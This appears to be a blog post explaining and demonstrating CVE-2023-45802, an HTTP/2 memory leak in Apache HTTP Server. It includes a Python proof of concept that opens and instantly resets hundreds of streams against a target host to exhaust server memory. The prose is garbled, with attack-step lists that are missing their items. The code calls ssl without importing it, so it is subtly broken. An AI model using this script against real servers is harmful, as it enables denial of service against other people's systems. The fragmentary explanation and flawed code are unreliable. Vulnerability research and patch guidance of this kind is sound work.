CVE-2023-45802 - HTTP/2 Memory Leak Vulnerability Explained and Exploited

In this post, we will take an exclusive deep dive into CVE-2023-45802, a memory leak vulnerability found in certain HTTP/2 server implementations, like Apache HTTP Server. We'll walk you through what the bug is, show simple proof-of-concept code, link to key resources, explain the exploit, and tell you how to stay protected.

What is CVE-2023-45802?

CVE-2023-45802 revolves around handling HTTP/2 streams. In the HTTP/2 protocol, the client and server communicate using frames and streams—basically, they chop up messages into chunks to send more efficiently and in parallel.

The bug lies in how memory is managed when a client resets a stream (using an RST frame). Instead of immediately cleaning up the memory used by the request, the server would keep some of it allocated until the whole connection was closed. An attacker could exploit this by:

Repeating the above to use more and more memory

If this continued long enough, server memory usage would keep growing, possibly until the server crashed because it ran out of memory.

The bug was originally discovered while testing for CVE-2023-44487 (HTTP/2 Rapid Reset Exploit), but this leak affects a different part of the code.

CVE-2023-44487: Exploited a logic flaw leading to request-flood denial-of-service.

- CVE-2023-45802: Causes a slow memory leak by keeping resources alive per connection, so it may slip under the radar during normal usage but could be triggered by a savvy attacker.

How Does The Exploit Work?

1. The client opens a single HTTP/2 connection to the target server.

If this goes on, the server can eventually run out of memory, slowing down or crashing.

> Note: Under normal use, this probably won’t crash the server, but if deliberately exploited, a determined attacker can cause trouble.

Sample Proof-of-Concept (PoC) Code

Here’s a basic Python example to trigger the leak. You’ll need the hyper-h2 package to send HTTP/2 frames.

import socket
import h2.connection
import time

HOST = 'your-http2-server.com'
PORT = 443

conn = socket.create_connection((HOST, PORT))
conn = ssl.wrap_socket(conn)

h2_conn = h2.connection.H2Connection()
h2_conn.initiate_connection()
conn.sendall(h2_conn.data_to_send())

try:
    for i in range(200):  # Increase if you want more memory tied up
        stream_id = h2_conn.get_next_available_stream_id()
        headers = [
            (':method', 'GET'),
            (':authority', HOST),
            (':scheme', 'https'),
            (':path', '/'),
        ]
        h2_conn.send_headers(stream_id, headers)
        # Immediately reset the stream
        h2_conn.reset_stream(stream_id)
        conn.sendall(h2_conn.data_to_send())
        time.sleep(.01)  # Adjust to be kind (or mean!) to the server
finally:
    conn.close()

What this does: It opens a bunch of streams and resets them right away, inflating the server's memory for as long as the connection stays open.

References and Resources

- NVD Record for CVE-2023-45802
- Apache HTTP Server Release Notes
- CVE-2023-44487 - HTTP/2 Rapid Reset Attack

Upgrade! If you run Apache HTTP Server, update to version 2.4.58 or higher.

- Other projects using HTTP/2 (like NGINX, Node.js, or Java HTTP servers) may need patches if they have a similar bug.

Conclusion

CVE-2023-45802 shows how a subtle oversight in memory management—one that would be harmless under normal use—can become a problem if attackers know where to look. If you run exposed HTTP/2 servers, patch up and always keep an eye out for abnormal resource usage.

*This article is exclusive to this platform and written for sysadmins, security enthusiasts, and developers who want a deep yet accessible look into current web server vulnerabilities. Stay patched! 🚀*

Timeline

Published on: 10/23/2023 07:15:11 UTC
Last modified on: 11/07/2023 05:15:13 UTC